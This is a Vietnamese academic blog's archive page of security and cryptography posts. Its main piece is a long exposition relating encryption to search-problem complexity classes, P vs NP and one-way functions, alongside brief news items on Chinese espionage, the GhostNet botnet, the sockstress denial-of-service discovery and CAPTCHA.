Thư viện bài, chuyên mục ‘Bảo mật và mật mã học’

Cẩn thận với mấy bạn Trung Của

Ngô Quang Hưng | 02 tháng 02, 2010 | Bản để in Bản để in

Theo tờ Sunday Times, một tài liệu “bị lộ” của tổ chức phản gián MI5 của Anh cho biết nhiều doanh nhân Anh bị các bạn Trung Của gài bẫy bằng mỹ nhân kế và các phương tiện khác để phải tiết lộ bí mật kinh doanh. Một trong các bẫy khác là các bạn Trung Của tặng cho các doanh nhân các ổ USB có gài rệp, hoặc các máy chụp ảnh. Dùng các ổ USB này thì các con rệp sẽ cho phép các bạn Trung Của truy cập máy tính từ xa. Các “mỹ nhân” thì là gián điệp của quân đội nhân dân Trung Của. Các phòng khách sạn mà chính khách hay doanh nhân thường vãng lai cũng bị cài rệp.

Lần sau đi hội nghị nào do các bạn Trung Của tổ chức, gặp các em groupies, thì các bác cẩn thận, nhất là bác An Hải có nhiều groupies.

Chuyên mục: Bảo mật và mật mã học | Bình luận (4) »

GT 3: Ứng dụng trong dòng dữ liệu và bảo mật

Ngô Quang Hưng | 17 tháng 12, 2009 | Bản để in Bản để in

3. Vài ứng dụng của thử nhóm bất ứng biến

Muthu Muthukrishnan là một khoa học gia máy tính có rất nhiều đóng góp nặng ký trong nhiều nhánh khác nhau: cơ sở dữ liệu, thuật toán, dòng dữ liệu, v.v. Gần đây anh chuyển về Google làm về các thuật toán ad bidding, một nhánh “hot” liên kết kinh tế học và KHMT; có thể xem là một phần của môn “kinh tế tính toán” — còn non trẻ nhưng rất thú vị. Muthukrishan cũng là một trong các khoa học gia vui vẻ dễ gần nhất mà tôi biết. Một lần giới thiệu Muthu nói chuyện, tôi hỏi anh muốn giới thiệu như thế nào, anh bảo giới thiệu thế này: “đây là Muthu, anh ta sẽ nói chuyện”. Muthukrishnan và Cormode mấy năm trước có một bài báo rất thú vị ở hội nghị FUN với nhan đề “Làm thế nào để tăng tỉ lệ nhận bài của các hội nghị đỉnh”. Tôi đã giới thiệu bài này trong một blog post cũ.

Hai bài trước đã bàn về khái niệm thử nhóm bất ứng biến tổ hợp và một vài kết quả cơ bản. Trước khi nói đến các kết quả sâu hơn thì ta quay lại mô tả chi tiết một vài ứng dụng. Ứng dụng đầu tiên do Cormode và Muthukrishnan đề xuất là cho một bài toán trong dòng dữ liệu.

Đọc tiếp toàn bài »

Chuyên mục: Bảo mật và mật mã học & Thuật Toán | Bình luận »

GT 1: Bệnh giang mai, đại số, hồi phục tín hiệu thưa, và dòng dữ liệu

Ngô Quang Hưng | 14 tháng 12, 2009 | Bản để in Bản để in

1. Đại số và bệnh giang mai

Hòa thượng (HT) Thích Học Toán là chuyên gia đại số hàng đầu thế giới. (Tôi học đòi cách viết bài của giáo sư Richard Lipton mà tôi rất thích.) Gần đây HT lại thành celebrity sau bầu chọn của tạp chí Time. Nhất định sẽ có nhiều bạn hỏi thế công trình của HT có ý nghĩa như thế nào trong cuộc sống, hoặc ít nhất cũng tìm cách “diễn Nôm” ý nghĩa của đóng góp của HT. Để trả lời các câu hỏi kiểu đó, xin mạn phép gợi ý 3 hướng trả lời sau đây. (Hướng cuối cùng là liên quan đến KHMT, cho nên các bạn hủ máy tính có thể nhảy xuống đó mà đọc, bỏ qua các hướng đầu.)

  1. Kể lại một truyền thuyết về Euclid, do Stobaeus kể lại:

    Khi một chú học trò hỏi Euclid: “chúng ta học hình học thì được cái gì?”, Euclid gọi một anh nô lệ vào bảo: “cho nó một đồng xu, vì nó muốn kiếm lời từ cái nó học”.

  2. Kể lại câu chuyện của Cụ Hinh và Anh La:

    Nghe thiên hạ đồn rằng có bộ kinh tiếng Phạn nọ rất thâm sâu. Cụ Hinh cầu cạnh anh La giảng giải cho. Anh La nhíu mày, rít thuốc, nhâm nhi cà fê cả buổi sáng. Đến chiều, anh La dịch toàn bộ kinh sang tiếng Bồ.

    Cụ Hinh xem xong gật gù tán thưởng.

  3. Đại số có ứng dụng trong trị bệnh giang mai.

Đọc tiếp toàn bài »

Chuyên mục: Bảo mật và mật mã học & KHMT và sinh học & Thuật Toán & Xác suất & thống kê | Bình luận (6) »

Mật mã dưới góc nhìn độ phức tạp tính toán

Phan Dương Hiệu | 20 tháng 09, 2009 | Bản để in Bản để in

I. Khởi động: Bài toán quyết định và bài toán tìm kiếm (Decision versus Search)

Trong thực tế, khi có một bài toán, ta thường quan tâm tới việc tìm ra lời giải cho bài toán đó hơn là xem xét liệu bài toán đó có tồn tại lời giải hay không. Tuy nhiên, trong lý thuyết độ phức tạp tính toán, ta lại toàn bắt gặp các bài toán quyết định (chẳng hạn như với \mathsf{SAT} là xem 1 công thức có thỏa được hay không) mà ít chú ý đến việc tìm kiếm lời giải (tìm một phép gán giá trị cho các biến để công thức là thỏa được). Các lớp phổ biến \mathbf{P, NP, EXP},… đều là các lớp các bài toán quyết định. Điều đó hẳn làm chúng ta băn khoăn tự hỏi, lý do nào mà ta thường ít nói tới các bài toán tìm kiếm? Một số lý do cơ bản (tất nhiên có thể có nhiều lý do khác) là như sau :
- Nếu lý thuyết thuật toán là đưa ra cận trên (upper bound) của sự phức tạp để giải quyết một bài toán (thực vậy, khi ta có thiết kế một thuật toán để giải một bài toán, thì đồng thời độ phức tạp của thuật toán đó cho ta một cận trên để giải bài toán) thì lý thuyết độ phức tạp nghiên cứu chủ yếu cận dưới (lower bound) hay độ khó tối thiểu để giải một bài toán. Bài toán quyết định hiển nhiên không thể khó hơn bài toán tìm kiếm nên nếu ta chứng minh được bài toán quyết định là khó thì nghiễm nhiên bài toán tìm kiếm cũng khó theo. Do vậy, dù gì cũng nên nghiên cứu độ khó của bài toán quyết định trước.
- Trong nhiều bài toán ta có sự “tương đương” giữa bài toán quyết định và bài toán tìm kiếm nên chỉ cần nghiên cứu bài toán quyết định. Thực tế, tất cả các bài toán trong lớp NP-đầy đủ đều có tính chất này. Kỹ thuật qui dẫn một bài toán tìm kiếm về bài toán quyết định thường là dùng cách phương pháp tìm kiếm nhị phân. Chẳng hạn đối với \mathsf{SAT}, giả sử ta giải được bài toán quyết định xác định một công thức thỏa được hay không, khi đó ta cũng có thể tìm một phép gán giá trị các biến để công thức thỏa được như sau: cho biến đầu tiên giá trị đúng ; nếu công thức giản lược là thỏa được thì ta tiếp tục tìm phép gán cho biến thứ hai, nếu không ta cho biến đầu giá trị sai và tiếp tục với công thức giản lược cho trường hợp này; chỉ sau n bước như vậy (n = số biến) là ta có được phép gán giá trị cho tất cả các biến.
- Ta tạm gọi (sẽ định nghĩa chính xác dưới đây) lớp bài toán tìm kiếm tương ứng với các lớp bài toán quyết định \mathbf{P, NP} là \mathbf{FP, FNP} (Function \mathbf{P}, Function \mathbf{NP}). Khi đó ta có thể chứng minh được \mathbf{P}=\mathbf{NP} khi và chỉ khi \mathbf{FP}=\mathbf{FNP}. Như vậy tình trạng đối với các bài toán tìm kiếm cũng tương tự như các bài toán quyết định: tìm kiếm lời giải cho một bài toán \mathbf{NP} thực hiện được trong thời gia đa thức khi và chỉ khi bài toán quyết định cũng thực hiện được trong thời gian đa thức. Do vậy nghiên cứu vấn đề nổi cộm “\mathbf{P} vs. \mathbf{NP}” là bao quát được vấn đề chung.

Tuy vậy, những lý do trên chưa đủ thuyết phục để ta hoàn toàn quên đi các bài toán tìm kiếm. Vẫn có nhiều bài toán tìm kiếm có vẻ thực sự khó hơn là quyết định (chẳng hạn Bellare và Goldwasser chứng minh rằng, dưới giả thiết khá hợp lý (\mathbf{EE} \neq \mathbf{NEE}), có những ngôn ngữ \mathbf{NP} mà ở đó bài toán tìm kiếm không thể qui dẫn về bài toán quyết định). Một số ví dụ khác liên quan đến mật mã nơi chủ yếu dựa trên các bài toán không phải NP-đầy đủ (phân tích thành thừa số nguyên tố chẳng hạn) và do vậy, bài toán tìm kiếm có thể rất khác bài toán quyết định.

Trong bài này, chúng ta sẽ xem xét lớp các bài toán tìm kiếm \mathbf{FP, FNP} và sự liên quan tới mật mã. Sự liên hệ giữa các lớp bài toán \mathbf{FP, FNP} và \mathbf{P, NP} cuối cùng giúp chúng ta có một liên hệ giữa sự tồn tại của mật mã với câu hỏi trọng tâm của lý thuyết độ phức tạp – “\mathbf{P} vs. \mathbf{NP}”.

I.1 Lớp bài toán \mathbf{FNP, FP}

Một cách nôm na, cho một ngôn ngữ L (\mathsf{SAT} chẳng hạn) và một đầu vào x (một công thức lô gíc chẳng hạn), bài toán quyết định là xác định xem liệu x có thuộc L (công thức lô gíc đầu vào liệu có thỏa được) còn bài toán tìm kiếm là bài toán chỉ ra, khi x thuộc L (công thức đã cho là thỏa được), một lời giải chứng tỏ x thuộc L (một phép gán giá trị cho các biến để công thức đã cho là thỏa được).

Mọi việc tưởng chừng đơn giản trừ việc ta chưa nói cho chính xác thế nào là một lời giải để chứng tỏ x thuộc L . Một bài toán có thể có nhiều cách chứng minh chứ không phải chỉ có một. Và như vậy, để định nghĩa chính xác bài toán tìm kiếm, ta cần đưa ra quan hệ giữa đầu vào và lời giải cho nó một cách thích hợp.

Ta hãy xem xét một cách viết lại định nghĩa của ngôn ngữ \mathbf{NP} dựa trên các quan hệ hai ngôi.

Quan hệ NP-relation
Một quan hệ hai ngôi R \in \Sigma^* \times \Sigma^* (với \Sigma^* là bảng ký hiệu dùng trong một ngôn ngữ) được gọi là NP-relation nếu nó thỏa mãn các điều kiện sau:
- R có thể xác định được trong thời gian đa thức. Tức là, với các đầu vào x, y \in \Sigma^* , ta có thể xác định liệu x có quan hệ R với y (ký hiệu R(x,y)) hay không trong thời gian đa thức tính trên |x|,|y| (độ dài của x,y).
- R có tính chất cân bằng đa thức (polynomially balanced), tức là tồn tại một đa thức p(.) để, nếu R(x,y) thì |y| \leq p(|x|). Đó là một yêu cầu tự nhiên : lời giải không thể quá dài so với đầu vào (nếu không thì riêng việc viết ra lời giải đã không thể thực hiện trong thời gian đa thức).

(Ta hãy cứ hình dung, cho x là một bài toán, R là định nghĩa của “lời giải”, thì y là lời giải của x nếu R(x,y)).

Nhìn lại (và chép lại) định nghĩa về lớp \mathbf{NP} trong bài PCP số 1 của anh Hưng: một ngôn ngữ L thuộc \mathbf{NP} nếu tồn tại một poly-time algorithm verifier V:

  • Verifier nhận inputs x, \pi, và trả lời YES/NO. Nhiệm vụ là xác định xem x là YES-instance hay NO-instance của L.
  • Nếu x là YES-instance thì tồn tại “chứng minh” \pi sao cho V(x, \pi) = YES.
  • Nếu x là NO-instance thì với bất kỳ “chứng minh”\pi nào ta cũng có V(x,\pi) = NO.

Một verifier V như vậy thực chất chính là một NP-relation và ngôn ngữ L = \{x \in \Sigma^*: \exists y \in \Sigma^* V(x,y)\}.
Ngược lại, với mỗi NP-relation R, ta cũng có thể định nghĩa một ngôn ngữ L_R = \{x \in \Sigma^*: \exists y \in \Sigma^* R(x,y)\} và ngôn ngữ L_R hiển nhiên là thuộc \mathbf{NP} (bằng cách đặt V chính là R).

Như vậy thực chất \mathbf{NP} là tập hợp tất cả các ngôn ngữ L_R = \{x \in \Sigma^*: \exists y \in \Sigma^* R(x,y)\} với R là NP-relation.

Điểm hay là quan hệ R giúp ta có thể định nghĩa được bài toán tìm kiếm một cách tường minh.

Định nghĩa bài toán tìm kiếm

Với quan hệ R , ta có thể định nghĩa một bài toán tìm kiếm \Pi_R như sau:
- Đầu vào: Cho một x \in \Sigma^*
- Trả lời: Tìm một y \in \Sigma^* sao cho R(x,y) nếu tồn tại một y như vậy, hoặc trả lời “KHONG” nếu không tồn tại y .

Như vậy, ta đã định nghĩa được bài toán tìm kiếm \Pi_R tương ứng cho bài toán quyết định L_R: nếu x \notin L_R thì câu trả lời là KHONG, còn nếu x \in L_R thì phải chỉ ra lời giải y chứng tỏ điều đó (y thỏa mãn R(x,y)).

Định nghĩa các lớp \mathbf{FNP, FP}
- \mathbf{FNP} là tập hợp tất cả các bài toán \Pi_R với R là NP-relation.
- \mathbf{FP} là tập con của \mathbf{FNP} bao gồm các bài toán \Pi_R ở đó câu “Trả lời” (trong định nghĩa bài toán tìm kiếm trên) được thực hiện trong thời gian đa thức.

Để ý rằng, cho trước một ngôn ngữ L \in \mathbf{NP}, ta chưa có ngay bài toán tìm kiếm tương ứng với nó. Ta phải định nghĩa thế nào là một lời giải chứng tỏ x \in L, đó chính là việc định nghĩa quan hệ R thỏa mãn L_R = L. Chỉ khi đã định nghĩa được R thì tương ứng với nó ta mới định nghĩa được bài toán tìm kiếm \Pi_R . \Pi_R chính là một bài toán tìm kiếm tương ứng với bài toán quyết định L_R=L.

Do vậy, với một bài toán quyết định, có thể cho tương ứng nhiều bài toán tìm kiếm. Chẳng hạn, nếu ta tìm được hai quan hệ R_1 và R_2 sao cho L_{R_1} = L_{R_2} = L thì tương ứng với L có hai bài toán tìm kiếm \Pi_{R_1} = \Pi_{R_2}. Điều này phù hợp với thực tế, một phát biểu có thể đúng hoặc sai, nhưng chứng minh nó là đúng hay sai thì có thể có nhiều cách khác nhau.

Có những bài toán mà tương ứng với nó có hai bài toán tìm kiếm mà một thì có thể dễ, mà một thì lại có vẻ khó. Ta sẽ xem xét một ví dụ thú vị liên quan đến bài toán phân tích thành thừa số nguyên tố. Nhưng trước hết ta hãy chứng minh định lý quan trọng sau đây:

Định lý về sự liên quan giữa lớp các bài toán quyết định và lớp các bài toán tìm kiếm

\mathbf{P}=\mathbf{NP} khi và chỉ khi \mathbf{FP}=\mathbf{FNP}

Chứng minh rất đơn giản:
- Đầu tiên, nếu \mathbf{FP}=\mathbf{FNP} thì \mathbf{P}=\mathbf{NP}. Điều này hiển nhiên, tìm được lời giải nhanh nếu có (trong thời gian đa thức) thì cũng sẽ quyết định được nhanh là có lời giải hay không.
- Ngược lại, nếu \mathbf{P}=\mathbf{NP} thì \mathbf{FP}=\mathbf{FNP}. Ý tưởng là sử dụng tìm kiếm nhị phân.
Cho một quan hệ NP-relation bất kỳ R, ta cần chứng minh \Pi_R \in \mathbf{FP}. Điều đó có nghĩa là với mọi x, cần tìm trong thời gian đa thức y để R(x,y) (nếu có y như vậy), hoặc trả lời KHONG nếu không có y nào thỏa mãn R(x,y).
Do L_R \in \mathbf{NP}=\mathbf{P}, nên việc quyết định có tồn tại y hay không được thực hiện trong thời gian đa thức. Nếu không có y thì trả lời KHONG là xong.
Trường hợp tồn tại y, ta làm sao tìm được y đây?
Với mỗi z\in \Sigma^*, định nghĩa một quan hệ R_z(x,y) := (R(x,y) \land (y\leq z)). (quan hệ thứ tự tính theo quan hệ thứ tự từ trên bảng chữ cái \Sigma)
Do R là NP-relation, R_z cũng là NP-relation. Do vậy L_{R_z} \in \mathbf{NP} và do đó việc bài toán quyết định L_{R_z} thực hiện được trong thời gian đa thức.

Nếu lấy z là điểm giữa \emptyset và U – xâu lớn nhất có độ dài p(|x|) (với p() là đa thức chặn trên độ dài của y theo độ dài của x. Hiển nhiên ta có y \leq U). Nếu x \in L_{R_z} thì tồn tại lời giải y giữa \emptyset và z, ngược lại, nếu x \notin L_{R_z} thì tồn tại lời giải y giữa z và U.
Như vậy ta giới hạn miền tìm kiếm y xuống còn một nửa. Tiếp tục một cách tương tự ta sẽ tìm được chính xác y trong thời gian đa thức.

I.2 Có những bài toán quyết định dễ, còn tìm kiếm lại khó
Phía trên ta nhắc đến kêt quả của Bellare và Goldwasser chứng minh rằng, dưới một giả thiết khá hợp lý (\mathbf{EE} \neq \mathbf{NEE}), có những ngôn ngữ \mathbf{NP} mà ở đó bài toán tìm kiếm không thể qui dẫn bài toán quyết định. Ở đây ta xét một ví dụ đơn giản hơn và kết quả tuy không mạnh bằng nhưng khá lý thú.
Ta xét một số n và một dãy cặp (p_1,\alpha_1), (p_2,\alpha_2), \cdots, (p_k,\alpha_k) với p_i là các số nguyên tố và \alpha_i là các số tự nhiên.
Ta định nghĩa một quan hệ R(n, ((p_1,\alpha_1), (p_2,\alpha_2), \cdots, (p_k,\alpha_k))) := (n = p_1^{\alpha_1}p_2^{\alpha_2}\cdots p_k^{\alpha_k}).
Điều đó có nghĩa là n và (p_1,\alpha_1), (p_2,\alpha_2), \cdots, (p_k,\alpha_k) có quan hệ R nếu phân tích thành thừa số nguyên tố của n chính là p_1^{\alpha_1}p_2^{\alpha_2}\cdots p_k^{\alpha_k}.

Với quan hệ R định nghĩa như vậy, ngôn ngữ L_R chính là toàn bộ các số tự nhiên vì mọi số tự nhiên đều có tương ứng một cách phân tích thành thừa số nguyên tố. Bài toán quyết định L_R do đó là tầm thường.
Trong khi đó, bài toán tìm kiếm \Pi_R chính là việc cho số n, phân tích n ra thừa số nguyên tố. Bài toán này được tin là khó.

I.3 Sự khéo léo trong việc định nghĩa bài toán tìm kiếm cho các bài toán quyết định

Bây giờ ta hãy xem một ví dụ cho thấy, cùng một bài toán quyết định, có thể có hai bài toán tìm kiếm khá xa nhau. Hơn nhau là việc định nghĩa bài toán tìm kiếm sao cho hợp lý để có thể giải nó một cách hiệu quả nhất.

Xét ngôn ngữ COMPOSITE gồm các số tự nhiên n là hợp số.

Bài toán tìm kiếm 1 tương ứng với COMPOSITE:
Ta định nghĩa một quan hệ giữa một số tự nhiên n và một chứng minh a (một số tự nhiên) như sau: R(n,a) := ( (1<a<n) \land (a|n)).
Đây là cách định nghĩa tự nhiên nhất để chứng minh một số n là hợp số: đưa ra một ước số không tầm thường của nó.
Bài toán tìm kiếm \Pi_R tương ứng là cho n, nếu n là hợp số thì tìm một ước số không tầm thường của nó.
Rõ ràng bài toán tìm kiếm này tương đương bài toán phân tích một số thành thừa số nguyên tố, do vậy nó được tin là khó.

Bài toán tìm kiếm 2 tương ứng với COMPOSITE:
Ta định nghĩa một quan hệ giữa một số tự nhiên n và một chứng minh a (một số tự nhiên) như sau: R(n,a):= ((\frac{a}{n}) \neq a^ {\frac{n-1}{2}})

với (\frac{a}{n}) là ký hiệu Jacobi (một mở rộng tự nhiên của ký hiệu Legendre cho trường hợp các số tự nhiên thay vì chỉ cho các số nguyên tố).

Ta đã biết:

  • Nếu n là số nguyên tố thì, với mọi a ta đều có (\frac{a}{n}) = a^ {\frac{n-1}{2}}, tức là \lnot R(n,a).
  • Ngược lại, nếu n là hợp số thì, ít nhất một nửa các số a nguyên tố cùng nhau với n thỏa mãn R(n,a). (Chứng minh điều này không khó, bởi tập các a để \lnot R(n,a) tạo thành 1 nhóm, và ta có thể chứng minh khi n là hợp số thì tồn tại ít nhất một phần tử a để R(n,a). Điều đó dẫn đến tập các a để \lnot R(n,a) tạo thành một nhóm con thực sự của (\mathbb{Z}/n\mathbb{Z})^*, và do đó số phần tử của nó nhiều nhất bằng nửa số phần tử của (\mathbb{Z}/n\mathbb{Z})^*).

Từ đó ta thấy ngôn ngữ L_R = \{n : \exists a, R(n,a) \} chính là COMPOSITE.
Tuy vậy, bài toán tìm kiếm \Pi_R ở đây khá là dễ dàng.
Thực vậy, nếu n là hợp số, ta chỉ cần lấy ngẫu nhiên một a nguyên tố cùng nhau với n là đã có khả năng chí ít là 50% để có R(n,a).

Vấn đề còn lại là tính R(n,a) có dễ không? Tính a^ {\frac{n-1}{2}} là dễ nhưng còn ký hiệu Jacobi (\frac{a}{n})? Định nghĩa của (\frac{a}{n}) dựa trên việc phân tích thành thừa số nguyên tố của n. Nhưng nếu mà ta biết phân tích thành thừa số nguyên tố của n thì đã xác định được n là hợp số hay không rồi! Rất may, ta có thể tính (\frac{a}{n}) dựa trên luật tương hỗ toàn phương một cách rất nhanh chóng mà không cần thông qua phân tích thành thừa số nguyên tố của n.

Các bạn có thể đọc thêm về luật tương hỗ toàn phương (bài 1, bài 2) trên blog của hòa thượng Thích Học Toán. Luật “tương hỗ toàn phương” như hòa thượng giải thích dành cho số nguyên tố, ở đây ta phải dùng một luật tương tự cho các số tự nhiên tổng quat. Bình loạn một chút về hai luật tương hỗ:

  • Luật “tương hỗ toàn phương” nguyên thủy dành cho số nguyên tố thật đẹp, nó có ý nghĩa thế nào hòa thượng đã giải thích. Chỉ muốn nói thêm là trong suốt một thời gian dài, người ta đã tưởng thể loại số nguyên tố là rất kỳ bí và có tính độc lập nhau, tức là 2 kẻ khác nhau trong bọn chúng là chả có quan hệ dây mơ rễ má chi cả. Nhưng luật tương hỗ cho thấy không hẳn là thế, nó cho ta quan hệ họ hàng giữa hai số nguyên tố bất kỳ: nếu anh là thặng dư bậc hai của tôi thì tôi cũng xác định được ngay mình có phải là thặng dư bậc hai trong thế giới của anh hay không!
  • Luật “tương hỗ toàn phương” áp dụng cho số không nguyên tố dĩ nhiên làm mất cái vẻ đẹp nguyên tố trên. Ấy vậy mà nó lại đem đến một ứng dụng bất ngờ trong việc tìm ra các … số nguyên tố lớn phục vụ các ứng dụng mật mã trong thực tế nhốn nháo ngày nay. Nó giúp ta có một thuật toán kiểm tra xem một số n bất kỳ có là nguyên tố hay không. Thuật toán này thực chất ý tưởng đã được mô tả phía trên : lấy a bất kỳ nguyên tố cùng nhau với n, nếu R(n,a) thì n chắc chắn là hợp số, nếu không thì ít nhất 50% khả năng n là số nguyên tố. Thực hiện thao tác này 100 lần mà đều không có a nào thỏa mãn R(n,a) thì có nghĩa n là số nguyên tố với sai số chỉ là \frac{1}{2^{100}}! Gần đây đã có một kết quả lý thuyết đẹp đưa ra thuật toán đơn định để kiểm tra tính nguyên tố trong thời gian đa thức (thú vị là chứng minh khá sơ cấp) nhưng trong thực tế thì người ta vẫn dùng các thuật toán xác suất vì nó hiệu quả hơn rất nhiều.

II. Điều kiện cần cho sự tồn tại của mã hóa, dưới cách nhìn của lý thuyết độ phức tạp tính toán

Ta sẽ nhìn mật mã bằng con mắt của lý thuyết độ phức tạp tính toán và giới hạn việc bàn luận cho mã hóa (Encryption) – mục tiêu trọng tâm của mật mã.

Mục đích của mã hóa là gì nhỉ? Thật đơn giản, tôi có thể mã hóa một bản rõ dễ dàng để: nếu anh có khóa thích hợp thì anh có thể mở được nó và kẻ địch (không có khoá) thì không thể giải được mã.

Tạm gác chuyện chiếc chìa khoá thần kỳ trong mã hóa (ừ, thế đấy, mã hóa phải có khóa, nhưng ta cứ tạm bỏ qua nó đã) và bỏ qua luôn việc anh có giải được mã hay không, ta có thể rút gọn câu trên: tôi có thể mã hóa một bản rõ dễ dàng để kẻ địch (tay không – không có ngoại lực trợ giúp) không thể giải được mã.

Ta giản lược yêu cầu như trên nhằm đưa ra một điều kiện cần để mã hoá tồn tại. Đó là phải có các “hàm xuôi dễ ngược khó”, tức là các hàm f để, với một đầu vào m (có thể coi là bản mã – message), thì tính c=f(m) (có thể coi là bản mã – ciphertext) là dễ, nhưng cho c thì việc tính ngược một m (có thể có nhiều m) để f(m) = c thì là khó.

Vậy câu hỏi đặt ra là: Các hàm xuôi dễ ngược khó có liên quan gì tới bài toán trọng tâm “P vs. NP” của lý thuyết độ phức tạp?

Ta hãy giả thiết rằng là tồn tại các hàm f xuôi dễ ngược khó.
Theo định nghĩa “dễ, khó” trong độ phức tạp thì f tính được trong thời gian đa thức và việc tính f^{-1} là không thực hiện được trong thời gian đa thức.

Khi đó ta định nghĩa một quan hệ R(c,m) như sau: R(c,m) := (c=f(m)).
Dễ thấy R(c,m) là một NP-relation.
Như vậy, bài toán tìm kiếm \Pi_R thuộc lớp \mathbf{FNP}. Mà bài toán \Pi_R chính là việc tính ngược hàm f.

Theo giả thiết, việc tính f^{-1} là không thực hiện được trong thời gian đa thức. Từ đó ta có \Pi_R không thể thuộc \mathbf{FP}, và suy ra \mathbf{FP} \neq \mathbf{FNP}. Theo định lý phía trên, nó tương đương \mathbf{P} \neq \mathbf{NP}.

Như vậy ta có kết luận đầu tiên:

Yêu cầu tối thiểu không thể ít hơn để ngành lý thuyết mã hóa tồn tại, đó là “\mathbf{P} \neq \mathbf{NP}”. Nói cách khác, nếu ta chứng minh được “\mathbf{P} = \mathbf{NP}” thì ngành lý thuyết mã hóa sụp đổ!

Kết luận này có nghĩa ta không thể hy vọng vào việc xây dựng mã hóa dựa trên các lớp có độ phức tạp cao hơn như \mathbf{EXP, NEXP} để phòng trường hợp \mathbf{P} = \mathbf{NP}. Bản chất sự tồn tại của mã hóa bắt buộc phải dựa trên giả thiết \mathbf{P} \neq \mathbf{NP}. Tất nhiên sự sụp đổ chỉ là trong lý thuyết độ phức tạp, còn trong thực tế thì dù phá mã có thể trong thời gian đã thức nhưng bậc đa thức là 100 hay 1000 thì các hệ mã vẫn còn vững lắm ;)

III. Một cái nhìn thoáng qua về điều kiện đủ cho sự tồn tại của mã hóa

Ta đã thấy lý thuyết mã hóa (đặt trong lý thuyết độ phức tạp) chỉ có nghĩa khi \mathbf{P} \neq \mathbf{NP}. Câu hỏi ngược lại là liệu nếu \mathbf{P} \neq \mathbf{NP} thì ta có xây dựng được các sơ đồ mật mã hay không? Câu trả lời là … không biết (hay nói cách khác, đó là một câu hỏi mở). Điều đó tuy vậy không làm ta nhụt chí đi tìm kiểm các điều kiện đủ để xây dựng mã hóa.

Trước tiên ta thấy hàm “xuôi dễ ngược khó” chủ yếu nói về trường hợp tệ nhất (worst-case), nó chỉ yêu cầu tồn tại những c để ta không tính ngược được f^{-1}(c). Điều đó có thể hiểu như, có những bản mã mà ta không giải được. Tuy nhiên điều này không phản ánh được yêu cầu của mã hoá, nơi ta cần kẻ địch không thể giải mã được một bản mã bất kỳ. Với yêu cầu tối thiểu này của mã hoá, ta có điều kiện cần là sự tồn tại của các hàm một chiều (one-way function), đó là các hàm thoả mãn: cho c = f(m) với một m được lấy ngẫu nhiên, khó có thể tính ngược được f^{-1}(c) (tức là xác suất kẻ địch tính ngược được c là rất nhỏ).

Câu hỏi trọng tâm của mã hoá là sự tồn tại của các hàm một chiều có là đủ để xây dựng các sơ đồ mã hoá?

Một cách tóm tắt, từ các hàm một chiều ta có thể xây dựng được các phép sinh dãy giả ngẫu nhiên rồi từ đó xây dựng được các sơ đồ mã hóa khóa bí mật. Đối với các sơ đồ mã hóa khóa công khai, ta sẽ phải dựa trên các hàm mạnh hơn các hàm một chiều. Đó là hoán vị cửa lật một chiều (trapdoor one-way permutation: bản chất như hàm một chiều nhưng có thêm một cửa lật, bình thường tính ngược khó nhưng có cửa lật sẽ giúp ta tính hàm ngược dễ).

Kết luận là :

  • các hàm một chiều là cần và đủ để xây dựng mã hóa khóa bí mật.
  • các hàm một chiều là cần và các hoán vị cửa lật một chiều là đủ để xây dựng mã hóa khóa công khai. Quan hệ thân thiết giữa các hàm một chiều và các hoán vị cửa lật một chiều hiện vẫn còn đang trong quá trình tìm hiểu nhau

Quan hệ giữa các hàm một chiều và lý thuyết độ phức tạp ra sao?
Sự tồn tại hàm một chiều hiển nhiên dẫn đến sự tồn tại các bài toán NP khó tính theo độ phức tạp trung bình (average-case complexity), từ đó dẫn tới sự tồn tại các bài toán NP khó (tức là tính theo độ phức tạp của trường hợp tệ nhất), có nghĩa là \mathbf{P} \neq \mathbf{NP}. Chiều ngược lại vẫn còn là câu hỏi mở. Do đó dù \mathbf{P} \neq \mathbf{NP} vẫn chưa chắc đã tồn tại các bài toán bài toán NP khó tính theo độ phức tạp trung bình và dù tồn tại các bài toán bài toán NP khó tính theo độ phức tạp trung bình vẫn chưa chắc đã tồn tại các hàm một chiều!

Hy vọng khi có thời gian sẽ tiềp tục được trao đổi chi tiết hơn các kết quả trên cùng các bạn.
Chúc mọi người một năm học, năm dạy mới đầy lý thú!

wordpress statistics


Chuyên mục: Bảo mật và mật mã học & Lý thuyết tính toán | Bình luận (12) »

GhostNet — Mạng Botnet tình báo của Trung Quốc?

Ngô Quang Hưng | 29 tháng 03, 2009 | Bản để in Bản để in

Theo một vài báo cáo gần đây, một mạng lưới kiểu Botnet từ Trung Quốc đã “do thám” các máy tính của các tổ chức chính trị và NGOs, bao gồm văn phòng của Đức Đại Lạt Ma. Tờ New York Times có bài, trong đó có đoạn

The researchers, who have a record of detecting computer espionage, said they believed that in addition to the spying on the Dalai Lama, the system, which they called GhostNet, was focused on the governments of South Asian and Southeast Asian countries.

Trong các nước Đông Nam Á bị nhiễm “ghostnet” (mà báo cáo này cho là một mạng lưới tình báo), Việt Nam bị nhiễm nhiều nhất:
Tầm phủ của "ghostnet"

Chuyên mục: Bảo mật và mật mã học & Tin tức đó đây | Bình luận (8) »

Loại DoS Mới

Ngô Quang Hưng | 01 tháng 10, 2008 | Bản để in Bản để in

Theo Tin

SEPTEMBER 30, 2008 | 2:45 PM — Things are a-brewin’ in Sweden. Sweden is not just home of the infamous bikini team, it is also the home of Outpost 24, an equally sexy software-as-a-service network scanning service, and the employer of my friend Robert E. Lee and his colleague Jack C. Louis. These guys are the inventors of UnicornScan, a user-land TCP stack turned into a port scanner. Never heard of it? Use Nmap exclusively? Well if you run Linux, I suggest checking it out, especially if missed ports in your portscan is inexcusable. But I digress.

Robert and Jack are smart dudes. I’ve known them for years, and they’ve always been one step ahead of the game. A couple of years ago, Jack found some anomalies in which machines would stop working in some very specific circumstances while being scanned. A few experiments, tons of reading through documentation, and one mysteriously named tool called “sockstress” later, and the two are now touting a nearly universal denial-of-service (DOS) attack that can be performed on almost any normal broadband Internet connection — in just a few seconds.

How bad is it? Well, in an interview — fast-forward five minutes in to hear it in English), the two were asked if they could take out a data center. While they’ve never tried, it appears to be a totally plausible attack. Worse yet, unlike most DOS attacks, the machines often do not come back online once the attack is over. The victim system just doesn’t respond any more. Great, huh?

…

Chuyên mục: Bảo mật và mật mã học | Bình luận »

Phát triển và lụi tàn của CAPTCHA

Ngô Quang Hưng | 16 tháng 07, 2008 | Bản để in Bản để in

Một bài viết thú vị từ Computer World. Ngoài reCAPTCHA và 3-D CAPTCHA ra, còn ý tưởng nào khác giải quyết vụ này không? Một số dự án đề nghị users giải toán vi tích phân gì đó (thay vì điền chữ như CAPTCHA). Dĩ nhiên, máy tính sẽ tốt hơn người trong tác vụ tính tích phân :-) .

